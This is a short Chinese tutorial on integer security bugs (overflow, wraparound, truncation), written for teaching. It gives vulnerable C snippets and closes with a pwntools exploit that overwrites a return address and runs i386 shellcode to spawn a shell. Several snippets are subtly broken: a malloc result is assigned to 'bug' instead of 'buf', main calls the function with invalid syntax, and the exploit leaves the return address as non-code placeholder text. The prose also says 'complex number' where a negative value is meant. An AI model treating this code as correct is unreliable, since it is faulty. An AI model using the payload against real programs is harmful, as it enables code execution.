整数安全
1.整数溢出漏洞
学习过C语言的同学都知道在计算机中,整数分为无符号整数以及有符号整数两种。这里我们不详细展开。我们只讨论整数异常的三种情况:
(1)溢出:只有有符号数才会溢出。
(2)回绕:无符号数0-1时会变成最大的数。
(3)截断:将一个较大宽度的数存入一个宽度较小的操作数中,高位会发生截断。
2.整数溢出实例
整数转换
如果攻击者给len一个复数,即可绕过if的检测,当执行memcpy的时候len会被转换成一个无符号的整型,于是会复制大量的内容到buf中,引发缓冲区溢出。
char buf[80]; void vulnerable() { int len = read_int_from_network(); char *p = read_string_from_network(); if(len > 80) { error("length too large: bad dog,no cookie for you !"); return; } memcpy(buf,p,len); }
回绕和溢出
下面例子中如果len过大,len+5是有可能发生回绕的。x86-32上,如果len=0xFFFFFFFF,那么len+5=0x00000004,这时malloc()只分配了4字节内存,如果在里面写入大量数据是会造成缓冲区溢出的。
void vulnerable() { size_t len; char* buf; len = read_int_from_network(); bug = malloc(len + 5); read(fd,buf,len); }
截断
下面的代码逻辑上看是没有问题的。但是我们仔细看代码,首先程序分配足够的内存来存储拼接后的字符串。接着将第一个字符串复制到缓冲区,然后将第二个字符串拼接到尾部。这个时候如果攻击者提供的两个字符串总长度无法用total表示,就会发生截断,从而导致后面缓冲区的溢出。
void main(int argc,char *argv[]) { unsigned short int total; total = strlen(argv[1]) + strlen(argv[2]) + 1; char *buf = (char *)malloc(total); strcpy(buf,argv[1]); strcat(buf,argv[2]); }
整数溢出实战
我们来看下面的实例。
#include<stdio.h> #include<string.h> void validate_passwd(char *passwd) { char passwd_buf[11]; unsigned char passwd_len = strlen(passwd); //strlen 返回值是size_t(unsigned int),大拷贝小,造成回环。 if(passwd_len >= 4 && passwd_len <= 8) { printf("good!\n"); strcpy(passwd_buf,passwd); //这里的passwd是261可以绕过if判断 } else { printf("bad!\n"); } } int main(int argc,char *argv[]) { void validate_passwd(argv[1]); }
最后附上exp代码。
from pwn import * ret_addr = return addr shellcode = shellcraft.i386.sh() payload = "A" * 24 + p32(ret_addr) + "\x90" * 20 + asm(shellcode) + "C" * 169